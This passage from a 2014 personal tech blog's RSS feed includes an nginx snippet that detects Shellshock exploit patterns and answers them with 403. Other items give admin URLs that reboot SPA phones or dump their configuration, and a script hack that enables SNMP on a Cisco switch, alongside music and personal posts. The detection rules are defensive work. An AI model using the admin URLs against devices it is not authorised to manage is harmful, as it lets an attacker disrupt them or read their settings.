  6956. It recognizes Shellshock patterns in a request and replies with a '403 Forbidden' status code, thus indicating to an attacker that his request was blocked.
  6957. </p>
  6958. <pre>
  6959. if ( $http_referer ~ ^\s*\(\s*\)\s*\{ ) {
  6960.        return 403 "Blocked by Shellshock protection (https://blog.x-way.org/Show-Shellshock-the-door).";
  6961. }
  6962. if ( $http_user_agent ~ ^\s*\(\s*\)\s*\{ ) {
  6963.        return 403 "Blocked by Shellshock protection (https://blog.x-way.org/Show-Shellshock-the-door).";
  6964. }
  6965. if ( $http_cookie ~ ^\s*\(\s*\)\s*\{ ) {
  6966.        return 403 "Blocked by Shellshock protection (https://blog.x-way.org/Show-Shellshock-the-door).";
  6967. }
  6968. if ( $http_host ~ ^\s*\(\s*\)\s*\{ ) {
  6969.        return 403 "Blocked by Shellshock protection (https://blog.x-way.org/Show-Shellshock-the-door).";
  6970. }
  6971. if ( $args ~ ^\s*\(\s*\)\s*\{ ) {
  6972.        return 403 "Blocked by Shellshock protection (https://blog.x-way.org/Show-Shellshock-the-door).";
  6973. }
  6974. if ( $content_type ~ ^\s*\(\s*\)\s*\{ ) {
  6975.        return 403 "Blocked by Shellshock protection (https://blog.x-way.org/Show-Shellshock-the-door).";
  6976. }
  6977. if ( $remote_user ~ ^\s*\(\s*\)\s*\{ ) {
  6978.        return 403 "Blocked by Shellshock protection (https://blog.x-way.org/Show-Shellshock-the-door).";
  6979. }
  6980. if ( $request ~ ^\s*\(\s*\)\s*\{ ) {
  6981.        return 403 "Blocked by Shellshock protection (https://blog.x-way.org/Show-Shellshock-the-door).";
  6982. }
  6983. if ( $request_body ~ ^\s*\(\s*\)\s*\{ ) {
  6984.        return 403 "Blocked by Shellshock protection (https://blog.x-way.org/Show-Shellshock-the-door).";
  6985. }
  6986. </pre>
  6987. ]]></description>
  6988.    <content:encoded><![CDATA[<p>
  6989. Lately the requests trying to exploit the <a href="http://en.wikipedia.org/wiki/Shellshock_(software_bug)" title="Shellshock (software bug)">Shellshock vulnerability</a> are getting annoying.
  6990. Of course my hosts are patched &mdash; even before the first such request arrived &mdash; and they are using <a href="http://en.wikipedia.org/wiki/Debian_Almquist_shell" title="Debian Almquist shell">Dash</a> as /bin/sh anyway.<br>
  6991. But this does not stop attackers from sending those requests.
  6992. Some even seem to have programmed a loop which sends request after request even though their exploit is not working.
  6993. </p>
  6994. <p>
  6995. Since most of the requests are for valid URLs, the webserver just replies with a 200 status code and serves the content.
  6996. As this gives no indication to the attacker whether his exploit worked or not, he has no reason to remove the host from his target-list and thus continues to send requests.
  6997. </p>
  6998. <p>
  6999. To break this pattern and signal that the host is not vulnerable to Shellshock, I came up with the <a href="http://nginx.org" title="nginx">nginx</a> config snippet below.
  7000. It recognizes Shellshock patterns in a request and replies with a '403 Forbidden' status code, thus indicating to an attacker that his request was blocked.
  7001. </p>
  7002. <pre>
  7003. if ( $http_referer ~ ^\s*\(\s*\)\s*\{ ) {
  7004.        return 403 "Blocked by Shellshock protection (https://blog.x-way.org/Show-Shellshock-the-door).";
  7005. }
  7006. if ( $http_user_agent ~ ^\s*\(\s*\)\s*\{ ) {
  7007.        return 403 "Blocked by Shellshock protection (https://blog.x-way.org/Show-Shellshock-the-door).";
  7008. }
  7009. if ( $http_cookie ~ ^\s*\(\s*\)\s*\{ ) {
  7010.        return 403 "Blocked by Shellshock protection (https://blog.x-way.org/Show-Shellshock-the-door).";
  7011. }
  7012. if ( $http_host ~ ^\s*\(\s*\)\s*\{ ) {
  7013.        return 403 "Blocked by Shellshock protection (https://blog.x-way.org/Show-Shellshock-the-door).";
  7014. }
  7015. if ( $args ~ ^\s*\(\s*\)\s*\{ ) {
  7016.        return 403 "Blocked by Shellshock protection (https://blog.x-way.org/Show-Shellshock-the-door).";
  7017. }
  7018. if ( $content_type ~ ^\s*\(\s*\)\s*\{ ) {
  7019.        return 403 "Blocked by Shellshock protection (https://blog.x-way.org/Show-Shellshock-the-door).";
  7020. }
  7021. if ( $remote_user ~ ^\s*\(\s*\)\s*\{ ) {
  7022.        return 403 "Blocked by Shellshock protection (https://blog.x-way.org/Show-Shellshock-the-door).";
  7023. }
  7024. if ( $request ~ ^\s*\(\s*\)\s*\{ ) {
  7025.        return 403 "Blocked by Shellshock protection (https://blog.x-way.org/Show-Shellshock-the-door).";
  7026. }
  7027. if ( $request_body ~ ^\s*\(\s*\)\s*\{ ) {
  7028.        return 403 "Blocked by Shellshock protection (https://blog.x-way.org/Show-Shellshock-the-door).";
  7029. }
  7030. </pre>
  7031. ]]></content:encoded>
  7032.  </item>
  7033.  
  7034.  <item>
  7035.    <title>Inspect CSR with OpenSSL</title>
  7036.    <link>https://blog.x-way.org/Linux/2014/10/17/Inspect-CSR-with-OpenSSL.html</link>
  7037.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324232</guid>
  7038.    <dc:creator>Andreas Jaggi</dc:creator>
  7039.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  7040.    <pubDate>Fri, 17 Oct 2014 10:45:00 +0200</pubDate>
  7041.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  7042.    <description><![CDATA[<p>Before sending a <abbr title="Certificate Signing Request">CSR</abbr> off to your <abbr title="Certificate Authority">CA</abbr>, it is worth checking that all parameters are correct.<br>Especially you should make sure that the requested signature algorithm is SHA256 and not the deprecated SHA1.</p>
  7043. <p>This can be done with the following OpenSSL command:</p>
  7044. <pre>openssl req -noout -text -in &lt;your_CSR_file&gt;</pre>
  7045. ]]></description>
  7046.    <content:encoded><![CDATA[<p>Before sending a <abbr title="Certificate Signing Request">CSR</abbr> off to your <abbr title="Certificate Authority">CA</abbr>, it is worth checking that all parameters are correct.<br>Especially you should make sure that the requested signature algorithm is SHA256 and not the deprecated SHA1.</p>
  7047. <p>This can be done with the following OpenSSL command:</p>
  7048. <pre>openssl req -noout -text -in &lt;your_CSR_file&gt;</pre>
  7049. ]]></content:encoded>
  7050.  </item>
  7051.  
  7052.  <item>
  7053.    <title>Blueprint of IKEA</title>
  7054.    <link>https://blog.x-way.org/Misc/2014/10/13/Blueprint-of-IKEA.html</link>
  7055.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324231</guid>
  7056.    <dc:creator>Andreas Jaggi</dc:creator>
  7057.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  7058.    <pubDate>Mon, 13 Oct 2014 06:38:00 +0200</pubDate>
  7059.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  7060.    <description><![CDATA[<p>Spot-on representation of every IKEA store's layout:</p>
  7061. <p><a href="https://blog.x-way.org/images/ikea_blueprint.jpg" title="Blueprint of IKEA"><img src="https://blog.x-way.org/images/ikea_blueprint_small.jpg" alt="Blueprint of IKEA" width="540" height="255"></a></p>
  7062. ]]></description>
  7063.    <content:encoded><![CDATA[<p>Spot-on representation of every IKEA store's layout:</p>
  7064. <p><a href="https://blog.x-way.org/images/ikea_blueprint.jpg" title="Blueprint of IKEA"><img src="https://blog.x-way.org/images/ikea_blueprint_small.jpg" alt="Blueprint of IKEA" width="540" height="255"></a></p>
  7065. ]]></content:encoded>
  7066.  </item>
  7067.  
  7068.  <item>
  7069.    <title>NORWAY - A Time-Lapse Adventure</title>
  7070.    <link>https://blog.x-way.org/Misc/2014/10/05/NORWAY-A-Time-Lapse-Adventure.html</link>
  7071.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324230</guid>
  7072.    <dc:creator>Andreas Jaggi</dc:creator>
  7073.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  7074.    <pubDate>Sun, 05 Oct 2014 08:38:00 +0200</pubDate>
  7075.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  7076.    <description><![CDATA[<p><a href="https://vimeo.com/200671449" title="SEASONS of NORWAY - A Time-Lapse Adventure - Vimeo">SEASONS of NORWAY - A Time-Lapse Adventure</a></p>
  7077. <p><a href="http://vimeo.com/200671449" title="SEASONS of NORWAY - A Time-Lapse Adventure">SEASONS of NORWAY - A Time-Lapse Adventure</a> from <a href="http://vimeo.com/rustadmedia" title="Rustad Media">Rustad Media</a> on <a href="https://vimeo.com" title="Vimeo">Vimeo</a>. (<a href="http://kniebes.com" title="Markus Kniebes">via</a>)</p>
  7078. ]]></description>
  7079.    <content:encoded><![CDATA[<p><a href="https://vimeo.com/200671449" title="SEASONS of NORWAY - A Time-Lapse Adventure - Vimeo">SEASONS of NORWAY - A Time-Lapse Adventure</a></p>
  7080. <p><a href="http://vimeo.com/200671449" title="SEASONS of NORWAY - A Time-Lapse Adventure">SEASONS of NORWAY - A Time-Lapse Adventure</a> from <a href="http://vimeo.com/rustadmedia" title="Rustad Media">Rustad Media</a> on <a href="https://vimeo.com" title="Vimeo">Vimeo</a>. (<a href="http://kniebes.com" title="Markus Kniebes">via</a>)</p>
  7081. ]]></content:encoded>
  7082.  </item>
  7083.  
  7084.  <item>
  7085.    <title>How to enable SNMP on a Cisco SLM2008 Smart Switch</title>
  7086.    <link>https://blog.x-way.org/Networking/2014/10/05/How-to-enable-SNMP-on-a-Cisco-SLM2008-Smart-Switch.html</link>
  7087.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324229</guid>
  7088.    <dc:creator>Andreas Jaggi</dc:creator>
  7089.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  7090.    <pubDate>Sun, 05 Oct 2014 00:31:00 +0200</pubDate>
  7091.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  7092.    <description><![CDATA[<p>The Cisco SMB SLM2008 Smart Switch does normally not support SNMP and there is also no setting in the configuration interface which would enable SNMP.</p>
  7093.  
  7094. <p>But nevertheless the firmware does actually contain a SNMP daemon. Thus it is not surprising that a <a href="https://supportforums.cisco.com/discussion/11015421/slm2008-vs-snmp-vs-switchcfg-editing" title="SLM2008 vs SNMP">smart guy on to the Cisco support forum</a> found out how to manipulate the proprietary config file such that it enables the SNMP daemon:</p>
  7095.  
  7096. <ol>
  7097. <li>Configure your switch with everything you need</li>
  7098. <li>Download <a href="https://blog.x-way.org/stuff/enable_snmp.pl" title="enable_snmp.pl">enable_snmp.pl</a></li>
  7099. <li>Run <code># perl enable_snmp.pl &lt;IP of your switch&gt;</code></li>
  7100. <li>Enjoy the SNMP export from the SLM2008 :-)</li>
  7101. </ol>
  7102. <p>As this is a non-official hack, there are some limitations:</p>
  7103. <ul>
  7104. <li>The embedded SNMP daemon only supports read accces and no SNMP Traps.</li>
  7105. <li>Changing a setting on the 'System' configuration tab disables the SNMP daemon again (thus the script will need to be run again).</li>
  7106. </ul>
  7107. ]]></description>
  7108.    <content:encoded><![CDATA[<p>The Cisco SMB SLM2008 Smart Switch does normally not support SNMP and there is also no setting in the configuration interface which would enable SNMP.</p>
  7109.  
  7110. <p>But nevertheless the firmware does actually contain a SNMP daemon. Thus it is not surprising that a <a href="https://supportforums.cisco.com/discussion/11015421/slm2008-vs-snmp-vs-switchcfg-editing" title="SLM2008 vs SNMP">smart guy on to the Cisco support forum</a> found out how to manipulate the proprietary config file such that it enables the SNMP daemon:</p>
  7111.  
  7112. <ol>
  7113. <li>Configure your switch with everything you need</li>
  7114. <li>Download <a href="https://blog.x-way.org/stuff/enable_snmp.pl" title="enable_snmp.pl">enable_snmp.pl</a></li>
  7115. <li>Run <code># perl enable_snmp.pl &lt;IP of your switch&gt;</code></li>
  7116. <li>Enjoy the SNMP export from the SLM2008 :-)</li>
  7117. </ol>
  7118. <p>As this is a non-official hack, there are some limitations:</p>
  7119. <ul>
  7120. <li>The embedded SNMP daemon only supports read accces and no SNMP Traps.</li>
  7121. <li>Changing a setting on the 'System' configuration tab disables the SNMP daemon again (thus the script will need to be run again).</li>
  7122. </ul>
  7123. ]]></content:encoded>
  7124.  </item>
  7125.  
  7126.  <item>
  7127.    <title>The Cyborgs</title>
  7128.    <link>https://blog.x-way.org/Music/2014/10/01/The-Cyborgs.html</link>
  7129.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324228</guid>
  7130.    <dc:creator>Andreas Jaggi</dc:creator>
  7131.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  7132.    <pubDate>Wed, 01 Oct 2014 00:10:00 +0200</pubDate>
  7133.    <category domain="https://blog.x-way.org/Music/">Music</category>
  7134.    <description><![CDATA[<p><a href="https://youtu.be/d8mRWV7owNM" title="The Cyborgs - Electric Chair - YouTube">The Cyborgs - Electric Chair</a></p>
  7135. <p><a href="https://bloosrecords.com/THE-CYBORGS-c83685075" title="The Cyborgs - Two Men Band">The Cyborgs</a> is a two man 'elektrock' boogie band.<br>Thank you <a href="http://sat.rocks" title="Sat Rocks">Sat Rocks</a> for showing me their music :-)</p>
  7136. ]]></description>
  7137.    <content:encoded><![CDATA[<p><a href="https://youtu.be/d8mRWV7owNM" title="The Cyborgs - Electric Chair - YouTube">The Cyborgs - Electric Chair</a></p>
  7138. <p><a href="https://bloosrecords.com/THE-CYBORGS-c83685075" title="The Cyborgs - Two Men Band">The Cyborgs</a> is a two man 'elektrock' boogie band.<br>Thank you <a href="http://sat.rocks" title="Sat Rocks">Sat Rocks</a> for showing me their music :-)</p>
  7139. ]]></content:encoded>
  7140.  </item>
  7141.  
  7142.  <item>
  7143.    <title>CVS and SVN repositories moved to Git</title>
  7144.    <link>https://blog.x-way.org/Misc/2014/09/28/CVS-and-SVN-repositories-moved-to-Git.html</link>
  7145.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324227</guid>
  7146.    <dc:creator>Andreas Jaggi</dc:creator>
  7147.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  7148.    <pubDate>Sun, 28 Sep 2014 20:01:00 +0200</pubDate>
  7149.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  7150.    <description><![CDATA[<p>Today I did some cleanup of my legacy infrastructure. The repositories formerly located at <a href="https://cvs.x-way.org/" title="cvs.x-way.org">cvs.x-way.org</a> and <a href="https://svn.x-way.org/" title="svn.x-way.org">svn.x-way.org</a> have been converted to <a href="http://git-scm.com" title="Git">Git</a> and are now available at <a href="https://git.x-way.org/" title="git.x-way.org">git.x-way.org</a>.</p>
  7151. <p>Also is <a href="https://git.x-way.org/" title="git.x-way.org">git.x-way.org</a> now no longer served by the old gitweb.cgi but by the fantastic <a href="https://gitbucket.github.io/" title="GitBucket">GitBucket</a> (a lightweight, self-contained <a href="https://github.com/" title="GitHub">GitHub</a> clone written in <a href="http://scala.epfl.ch" title="The Scala Programming Language">Scala</a>).</p>
  7152. ]]></description>
  7153.    <content:encoded><![CDATA[<p>Today I did some cleanup of my legacy infrastructure. The repositories formerly located at <a href="https://cvs.x-way.org/" title="cvs.x-way.org">cvs.x-way.org</a> and <a href="https://svn.x-way.org/" title="svn.x-way.org">svn.x-way.org</a> have been converted to <a href="http://git-scm.com" title="Git">Git</a> and are now available at <a href="https://git.x-way.org/" title="git.x-way.org">git.x-way.org</a>.</p>
  7154. <p>Also is <a href="https://git.x-way.org/" title="git.x-way.org">git.x-way.org</a> now no longer served by the old gitweb.cgi but by the fantastic <a href="https://gitbucket.github.io/" title="GitBucket">GitBucket</a> (a lightweight, self-contained <a href="https://github.com/" title="GitHub">GitHub</a> clone written in <a href="http://scala.epfl.ch" title="The Scala Programming Language">Scala</a>).</p>
  7155. ]]></content:encoded>
  7156.  </item>
  7157.  
  7158.  <item>
  7159.    <title>Netflix in Switzerland via IPv6</title>
  7160.    <link>https://blog.x-way.org/Networking/2014/09/23/Netflix-in-Switzerland-via-IPv6.html</link>
  7161.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324226</guid>
  7162.    <dc:creator>Andreas Jaggi</dc:creator>
  7163.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  7164.    <pubDate>Tue, 23 Sep 2014 18:32:00 +0200</pubDate>
  7165.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  7166.    <description><![CDATA[<p>Since last week <a href="http://www.netflix.ch/" title="Netflix">Netflix</a> is also available in Switzerland. The future has arrived one could say.<br>
  7167. Not only gives this easy access to TV shows and movies but also is this access provided via IPv6.</p>
  7168.  
  7169. <p>As you can see on the graph below, this brings IPv6 out of slumber and into primetime :-)<br>
  7170. Swiss providers are probably seeing quite an increase in IPv6 traffic this month.</p>
  7171.  
  7172. <p><img alt="Netflix IPv6 traffic" src="https://blog.x-way.org/images/netflix_ipv6.gif" width="500" height="170"></p>
  7173. ]]></description>
  7174.    <content:encoded><![CDATA[<p>Since last week <a href="http://www.netflix.ch/" title="Netflix">Netflix</a> is also available in Switzerland. The future has arrived one could say.<br>
  7175. Not only gives this easy access to TV shows and movies but also is this access provided via IPv6.</p>
  7176.  
  7177. <p>As you can see on the graph below, this brings IPv6 out of slumber and into primetime :-)<br>
  7178. Swiss providers are probably seeing quite an increase in IPv6 traffic this month.</p>
  7179.  
  7180. <p><img alt="Netflix IPv6 traffic" src="https://blog.x-way.org/images/netflix_ipv6.gif" width="500" height="170"></p>
  7181. ]]></content:encoded>
  7182.  </item>
  7183.  
  7184.  <item>
  7185.    <title>Octave Minds</title>
  7186.    <link>https://blog.x-way.org/Music/2014/09/18/Octave-Minds.html</link>
  7187.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324225</guid>
  7188.    <dc:creator>Andreas Jaggi</dc:creator>
  7189.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  7190.    <pubDate>Thu, 18 Sep 2014 11:42:00 +0200</pubDate>
  7191.    <category domain="https://blog.x-way.org/Music/">Music</category>
  7192.    <description><![CDATA[<p><a href="https://youtu.be/53zHCEFyN98" title="Octave Minds - Anthem - YouTube">Octave Minds - Anthem</a></p>
  7193. <p><a href="http://octaveminds.com" title="OCTAVE MINDS">Octave Minds</a> (<a href="https://web.archive.org/web/20140918000000/http://www.reizbombardement.de" title="reizbombardement.de (archive.org)">via</a>)</p>
  7194. ]]></description>
  7195.    <content:encoded><![CDATA[<p><a href="https://youtu.be/53zHCEFyN98" title="Octave Minds - Anthem - YouTube">Octave Minds - Anthem</a></p>
  7196. <p><a href="http://octaveminds.com" title="OCTAVE MINDS">Octave Minds</a> (<a href="https://web.archive.org/web/20140918000000/http://www.reizbombardement.de" title="reizbombardement.de (archive.org)">via</a>)</p>
  7197. ]]></content:encoded>
  7198.  </item>
  7199.  
  7200.  <item>
  7201.    <title>Fancy blog statistics</title>
  7202.    <link>https://blog.x-way.org/Webdesign/2014/09/12/Fancy-blog-statistics.html</link>
  7203.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324224</guid>
  7204.    <dc:creator>Andreas Jaggi</dc:creator>
  7205.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  7206.    <pubDate>Fri, 12 Sep 2014 14:48:00 +0200</pubDate>
  7207.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  7208.    <description><![CDATA[<p><a href="https://blog.x-way.org/about.html" title="x-log: About">The about page</a> now features some fancy blog statistics, check it out :-)</p>
  7209. <p>The statistics are created with the help of <a href="https://cal-heatmap.com/" title="Cal-Heatmap">Cal-Heatmap</a> which allows to easily create calendar heatmaps similar to the activity heatmap of GitHub.</p>
  7210. <p><b>Update:</b> couldn't stop playing around and thus added another chart, this time with the help of <a href="http://c3js.org" title="C3.js | D3-based reusable chart library">C3.js</a> (a <a href="http://d3js.org" title="D3.js - Data-Driven Documents">D3.js</a> based reusable chart library).</p>
  7211. ]]></description>
  7212.    <content:encoded><![CDATA[<p><a href="https://blog.x-way.org/about.html" title="x-log: About">The about page</a> now features some fancy blog statistics, check it out :-)</p>
  7213. <p>The statistics are created with the help of <a href="https://cal-heatmap.com/" title="Cal-Heatmap">Cal-Heatmap</a> which allows to easily create calendar heatmaps similar to the activity heatmap of GitHub.</p>
  7214. <p><b>Update:</b> couldn't stop playing around and thus added another chart, this time with the help of <a href="http://c3js.org" title="C3.js | D3-based reusable chart library">C3.js</a> (a <a href="http://d3js.org" title="D3.js - Data-Driven Documents">D3.js</a> based reusable chart library).</p>
  7215. ]]></content:encoded>
  7216.  </item>
  7217.  
  7218.  <item>
  7219.    <title>Sipura/Linksys/Cisco SPA901 SPA3102 reboot phone</title>
  7220.    <link>https://blog.x-way.org/Networking/2014/09/04/Sipura-Linksys-Cisco-SPA901-SPA3102-reboot-phone.html</link>
  7221.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324223</guid>
  7222.    <dc:creator>Andreas Jaggi</dc:creator>
  7223.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  7224.    <pubDate>Thu, 04 Sep 2014 10:42:00 +0200</pubDate>
  7225.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  7226.    <description><![CDATA[<p>SPA901 and SPA3102 phones can be rebooted by calling the following URL (which triggers an automatic config resync after the reboot):</p>
  7227. <pre>http://&lt;PHONEIP&gt;/admin/reboot</pre>
  7228. ]]></description>
  7229.    <content:encoded><![CDATA[<p>SPA901 and SPA3102 phones can be rebooted by calling the following URL (which triggers an automatic config resync after the reboot):</p>
  7230. <pre>http://&lt;PHONEIP&gt;/admin/reboot</pre>
  7231. ]]></content:encoded>
  7232.  </item>
  7233.  
  7234.  <item>
  7235.    <title>Sipura/Linksys/Cisco SPA901 SPA3102 download current configuration</title>
  7236.    <link>https://blog.x-way.org/Networking/2014/08/30/Sipura-Linksys-Cisco-SPA901-SPA3102-download-current-configuration.html</link>
  7237.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324222</guid>
  7238.    <dc:creator>Andreas Jaggi</dc:creator>
  7239.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  7240.    <pubDate>Sat, 30 Aug 2014 22:16:00 +0200</pubDate>
  7241.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  7242.    <description><![CDATA[<p>The current configuration of an SPA901 phone can be downloaded like this:</p>
  7243. <pre>http://&lt;PHONEIP&gt;/admin/spacfg.xml</pre>
  7244. <p>For SPA3102 devices the URL is different:</p>
  7245. <pre>http://&lt;PHONEIP&gt;/admin/config.xml</pre>
  7246. ]]></description>
  7247.    <content:encoded><![CDATA[<p>The current configuration of an SPA901 phone can be downloaded like this:</p>
  7248. <pre>http://&lt;PHONEIP&gt;/admin/spacfg.xml</pre>
  7249. <p>For SPA3102 devices the URL is different:</p>
  7250. <pre>http://&lt;PHONEIP&gt;/admin/config.xml</pre>
  7251. ]]></content:encoded>
  7252.  </item>
  7253.  
  7254.  <item>
  7255.    <title>Native IPv6</title>
  7256.    <link>https://blog.x-way.org/Networking/2014/07/25/Native-IPv6.html</link>
  7257.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324221</guid>
  7258.    <dc:creator>Andreas Jaggi</dc:creator>
  7259.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  7260.    <pubDate>Fri, 25 Jul 2014 08:08:00 +0200</pubDate>
  7261.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  7262.    <description><![CDATA[<p>Yesterday I switched our DSL Link to <a href="http://www.green.ch/" title="www.green.ch">green.ch</a>. Now we not only have a higher bandwidth (thanks to VDSL) but also native IPv6 connectivity!<br>Especially nice is that it all works out of the box. After plugging in the pre-configured FritzBox, it automatically gets an IPv6 prefix via Prefix Delegation and announces it to the clients in the LAN.</p>
  7263. <pre>08:05 [ aj @ actuarius : ~ ] % mtr -rc5 www.open.ch
  7264. Start: Fri Jul 25 08:06:42 2014
  7265. HOST: actuarius.fritz.box         Loss%   Snt   Last   Avg  Best  Wrst StDev
  7266.  1.|-- fritz.box                  0.0%     5    0.8   0.8   0.7   0.8   0.0
  7267.  2.|-- 2a01:2a8::121              0.0%     5    8.6   8.7   8.5   9.2   0.0
  7268.  3.|-- 2a01:2a8:0:5a::1           0.0%     5    8.4   8.2   8.0   8.4   0.0
  7269.  4.|-- 2a01:2a8:1:7::4            0.0%     5    8.1   8.6   8.1   9.6   0.0
  7270.  5.|-- 2a00:db0:9:a06::5          0.0%     5    8.8   8.6   8.3   8.8   0.0
  7271.  6.|-- www.open.ch                0.0%     5    8.9   8.7   8.6   8.9   0.0</pre>
  7272. ]]></description>
  7273.    <content:encoded><![CDATA[<p>Yesterday I switched our DSL Link to <a href="http://www.green.ch/" title="www.green.ch">green.ch</a>. Now we not only have a higher bandwidth (thanks to VDSL) but also native IPv6 connectivity!<br>Especially nice is that it all works out of the box. After plugging in the pre-configured FritzBox, it automatically gets an IPv6 prefix via Prefix Delegation and announces it to the clients in the LAN.</p>
  7274. <pre>08:05 [ aj @ actuarius : ~ ] % mtr -rc5 www.open.ch
  7275. Start: Fri Jul 25 08:06:42 2014
  7276. HOST: actuarius.fritz.box         Loss%   Snt   Last   Avg  Best  Wrst StDev
  7277.  1.|-- fritz.box                  0.0%     5    0.8   0.8   0.7   0.8   0.0
  7278.  2.|-- 2a01:2a8::121              0.0%     5    8.6   8.7   8.5   9.2   0.0
  7279.  3.|-- 2a01:2a8:0:5a::1           0.0%     5    8.4   8.2   8.0   8.4   0.0
  7280.  4.|-- 2a01:2a8:1:7::4            0.0%     5    8.1   8.6   8.1   9.6   0.0
  7281.  5.|-- 2a00:db0:9:a06::5          0.0%     5    8.8   8.6   8.3   8.8   0.0
  7282.  6.|-- www.open.ch                0.0%     5    8.9   8.7   8.6   8.9   0.0</pre>
  7283. ]]></content:encoded>
  7284.  </item>
  7285.  
  7286.  <item>
  7287.    <title>12 Years</title>
  7288.    <link>https://blog.x-way.org/Misc/2014/06/03/12-Years.html</link>
  7289.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324220</guid>
  7290.    <dc:creator>Andreas Jaggi</dc:creator>
  7291.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  7292.    <pubDate>Tue, 03 Jun 2014 08:50:00 +0200</pubDate>
  7293.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  7294.    <description><![CDATA[<p>12 years ago I started this weblog with a link to <a href="http://www.2advanced.com/" title="www.2advanced.com">www.2advanced.com</a>.<br>
  7295. It's now 555 posts later and I think what is most unexpected (besides that this weblog is still existing 12 years later), is that this first link from my first post is still valid (and still pointing to some Flash-only website...).</p>
  7296. <p>So far this weblog has survived 2 different domains, 3 different servers, multiple versions of a self-made blogging-engine, about 6 different layout designs, a database-crash, recovery via archive.org and a migration to Jekyll.</p>
  7297. <p>No guarantee that it will last another 12 years, but for the meantime: Cheers, and enjoy the ride!</p>
  7298. <p><img src="https://blog.x-way.org/images/12_years_cheers.jpg" width="333" height="398" alt="12 years, Cheers!"></p>
  7299. ]]></description>
  7300.    <content:encoded><![CDATA[<p>12 years ago I started this weblog with a link to <a href="http://www.2advanced.com/" title="www.2advanced.com">www.2advanced.com</a>.<br>
  7301. It's now 555 posts later and I think what is most unexpected (besides that this weblog is still existing 12 years later), is that this first link from my first post is still valid (and still pointing to some Flash-only website...).</p>
  7302. <p>So far this weblog has survived 2 different domains, 3 different servers, multiple versions of a self-made blogging-engine, about 6 different layout designs, a database-crash, recovery via archive.org and a migration to Jekyll.</p>
  7303. <p>No guarantee that it will last another 12 years, but for the meantime: Cheers, and enjoy the ride!</p>
  7304. <p><img src="https://blog.x-way.org/images/12_years_cheers.jpg" width="333" height="398" alt="12 years, Cheers!"></p>
  7305. ]]></content:encoded>
  7306.  </item>
  7307.  
  7308.  <item>
  7309.    <title>It's alive!</title>
  7310.    <link>https://blog.x-way.org/Networking/2014/05/28/Its-alive.html</link>
  7311.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324219</guid>
  7312.    <dc:creator>Andreas Jaggi</dc:creator>
  7313.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  7314.    <pubDate>Wed, 28 May 2014 23:19:00 +0200</pubDate>
  7315.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  7316.    <description><![CDATA[<p><img src="https://blog.x-way.org/images/Telefon_Modell_50-SIP.jpg" width="520" height="390" alt="Wandtelefon Modell 50 with SIP ATA"></p>
  7317. <p>Wandtelefon Modell 50 from January 1970 now talks SIP (and it only took two converters, a bit of cable-fiddling and some luck :-)</p>
  7318. ]]></description>
  7319.    <content:encoded><![CDATA[<p><img src="https://blog.x-way.org/images/Telefon_Modell_50-SIP.jpg" width="520" height="390" alt="Wandtelefon Modell 50 with SIP ATA"></p>
  7320. <p>Wandtelefon Modell 50 from January 1970 now talks SIP (and it only took two converters, a bit of cable-fiddling and some luck :-)</p>
  7321. ]]></content:encoded>
  7322.  </item>
  7323.  
  7324.  <item>
  7325.    <title>Stop BÜPF!</title>
  7326.    <link>https://blog.x-way.org/Networking/2014/05/22/Stop-BUPF.html</link>
  7327.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324218</guid>
  7328.    <dc:creator>Andreas Jaggi</dc:creator>
  7329.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  7330.    <pubDate>Thu, 22 May 2014 19:55:00 +0200</pubDate>
  7331.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
